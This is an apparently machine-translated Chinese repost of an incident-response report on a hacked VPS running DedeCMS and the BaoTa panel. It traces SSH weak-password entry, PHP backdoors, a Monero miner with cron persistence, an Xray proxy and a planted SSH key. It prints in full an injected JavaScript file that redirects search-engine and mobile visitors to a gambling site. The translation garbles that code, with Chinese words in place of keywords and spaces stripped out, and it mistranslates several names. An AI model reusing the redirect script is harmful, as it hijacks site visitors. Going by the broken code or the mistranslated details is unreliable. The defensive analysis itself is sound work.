当前位置: 首页 > 科技观察

记得一次服务器入侵事件应急响应

时间:2023-03-21 01:28:35 科技观察

0x01事件背景八月某日,客户官网被黑,需要限时整改完成。为避免客户业务受到影响,实验室相关人员第一时间启动了此次攻击事件的应急响应。0x02事件分析网站源代码被篡改,攻击者必须获得权限。那么接下来的思路就是推测攻击者的入侵方式,找到业务漏洞,对服务器进行全面排查,找出攻击者留下的痕迹,进行分析处理。2.1信息收集经过与客户的简单沟通,了解了以下基本信息:官网服务器是租用的阿里云虚拟专用服务器。部署在虚拟私服上的官网后台使用DedeCMS织梦系统虚拟私服,安装宝塔面板服务器运维系统。虚拟私服上安装的宝塔面板密码被篡改。2.2攻击入口判断服务器开??启了SSH、宝塔、DedeCMS这三个服务,那么我们就从服务器开启的服务中推测可能的攻击入口。玩过宝塔的朋友都知道,在不知道宝塔后台路径的情况下,通过宝塔后台getShell基本是不可能的。另外,客户设置的BT面板的用户名也有点复杂,所以推断攻击者从宝塔入手的可能性很小(这里埋了一个坑,前面说了背景客户宝塔的密码被修改了,后面会解释原因)。客户官网使用的DedeCMS版本为v5.7sp2,尝试打开漏洞均未成功。而且DedeCMS的后台密码是不规则的,所以推测DedeCMS入侵的可能性不是很大。客户给了服务器的账号密码,我们的第一反应是入侵是从弱SSH密码开始的。因为我的爆破词典里有服务端的密码(手动哭笑不得),但这显然不能直接说服客户端。综上所述,高度怀疑服务器被弱SSH密码爆破,导致后续入侵。2.3应急响应判断攻击入口后,我们登录客户服务器仔细查看。只能说服务器上的东西太多了。..2.3.1BC黑页&PHP后门首先访问客户主页,发现官网页面没有异常,也没有跳转到BC网站。但实际上网页上的Meta信息被篡改了,异步请求了BC网站和百度统计的几个接口。据推测,攻击者的目的应该是优化BC网站的SEO,提高网站的SEO排名。在服务器上找到DedeCMS网站的源代码,发现源代码在7月17日被修改并植入了恶意代码,网站源代码插入了2个新的meta元素,以及一段JavaScript代码。下图是新添加的元元素,解码后发现是菠菜搜索关键词。新插入的JavaScript代码如下图所示。解码后发现是引用外部js的代码。恶意js文件内容为:该文件的作用是插入https://sjbgw2022.com/tb.js的恶意文件,优化恶意SEO。继续看tb.js文件的内容://这里省略了一大段代码,因为代码内容和ly.js的内容是一致的,这是针对恶意SEO的优化。//上面的代码和之前一样,都是推送自动包含。//JS正则表达式判断来源,如果是下面的搜索引擎,指定跳转网址。varregexp=/\.(sogou|soso|baidu|bsb|有道|蓝姐|bing|118114|biso|sm|qq|so|safe|头条|biso|360)(\.[a-z0-9\-]+){1,2}\//ig;varwhere=document.referrer;if(regexp.test(where)){window.location.href="https://tb04.cc/";//满意就跳到菠菜页面。}//更详细的检测,判断搜索引擎字段是否被收录,如果是则跳转到菠菜页面。varsp_regexps=/\.(yahoo|google|baidu|soso|sogou|bing|sou|so|360|haosou|youdao|sooule|easou|aliyun|sina|jike|易搜|uc|sm)\./gi;varsp_whereis=window.location.referrer;try{sp_whereis=top.document.referrer;}catch(e){}try{sp_whereis=window.parent.document.referrer;}catch(e){}varsp_domains=window.location.host;try{sp_domains=top.document.domain;}catch(e){}try{sp_domains=window.parent.document.domain;}catch(e){}if(sp_regexps.test(sp_whereis)){window.location.href='https://tb04.cc';parent.window.opener.location='https://tb04.cc';}//判断是否为移动端,并跳转到菠菜页面。函数browserRedirect(){varsUserAgent=navigator.userAgent.toLowerCase();varbIsIpad=sUserAgent.match(/ipad/i)=='ipad';varbIsIphoneOs=sUserAgent.match(/iphoneos/i)=='iphoneos';varbIsMidp=sUserAgent.match(/midp/i)=='midp';varbIsUc7=sUserAgent.match(/rv:1.2.3.4/i)=='rv:1.2.3.4';varbIsAndroid=sUserAgent.match(/android/i)=='android';varbIsCE=sUserAgent.match(/windowsce/i)=='windowsce';varbIsWM=sUserAgent.match(/windowsmobile/i)=='windowsmobile';如果(!(bIsIphoneOs||bIsMidp||bIsAndroid||bIsCE||bIsWM)){}else{window.location.href='https://tb04.cc';}}browserRedirect();发现该文件的功能是恶意SEO优化,判断访问网站的来源,如果是搜索引擎,则跳转到菠菜页面,如果是直接访问官方网站,不会有任何变化。菠菜页面截图如下:另外,在DedeCMS的源代码目录下发现了很多PHP后门。2.3.2宝塔倒塌。接下来我们查看日志,发现系统日志已经被清除。上面说了宝塔的密码已经修改了,所以为了登录宝塔,我们直接修改宝塔的密码。在服务器上输入bt命令进行修改。登录宝塔后台后发现,最后一次登录时间为7月16日,攻击者上传了一个名为zxc.php的木马文件。网站日志没有删除。日志显示攻击者于7月17日通过zxc.php上传了大量后门文件,下图为日志访问记录截图。下图是PHPMalaysia的截图。综上所述,推测攻击者为菠菜SEO黑组织。攻击方式是使用SSH弱口令远程登录服务器,修改宝塔后台密码,上传木马,然后通过代理机继续上传其他木马文件。这就是2.2节中描述的Pagoda密码被篡改的原因。2.3.3门罗币挖矿木马服务器问题并不仅仅是被黑页链接那么简单。在排查服务器进程的过程中,发现某个进程的CPU占用率特别高,不出意外是挖矿程序。tracklocation文件位置是/root/.warmup/。找到挖矿配置文件/root/.warmup/config.json。从网络通信信息中发现,矿池地址的IP范围为5.133.65.53至5.133.65.56。威胁情报表明这是一个Monero矿池。杀掉挖矿进程后,程序自动启动。删除挖矿文件后,发现过段时间会重新下载运行该文件。这表明存在挖矿守护进程或cron作业。经过分析发现,5月7日创建了一个定时挖矿任务,somescript文件的内容是创建一个挖矿自启动服务预热,保证进程或文件删除后可以重新加载挖矿程序。2.3.4xray代理Xray是V2ray的一个分支(Fork)。Xray项目基于V2ray。支持并兼容V2ray配置。它的官方网站是(https://xtls.github.io/Xray-docs-next/)。我们在进程排查中发现Xray程序正在运行。Xray最后一次运行是在8月17日。2.3.5SSH后门最后,除了后门和定时任务之外,继续检查服务器上是否有攻击者留下的手段。经与客户确认,发现SSH公钥是5月9日写入服务器的,并非客户所为。0x03应急处理客户有业务数据备份,处理加固更简单。我们对服务器进行了如下操作:重置系统服务器,修改服务器和系统后台密码,加强密码复杂度,避免连续密码,自定义日志目录,防止日志被删除。网站目录设置为禁止除root以外的所有用户写入。上传目录做权限设置0x04事件恢复及总结我们推测攻击者不止一个,他们都是通过SSH弱口令入侵服务器的。事件时间线如下图所示:第一波攻击者可能是挖矿组织。5月7日,他们极有可能使用弱SSH密码进入服务器上传挖矿程序somescript,并采取了相应的维护措施。第二波攻击者可能是黑业组织。袭击时间为7月16日至7月17日。他们的操作是在网站上做黑帽SEO,更改宝塔背景,上传大量后门程序。第三波攻击者大概只是想控制一批跳板机,在8月17日上传了代理程序。服务器上出现的最后一次恶意事件也是在8月17日之前。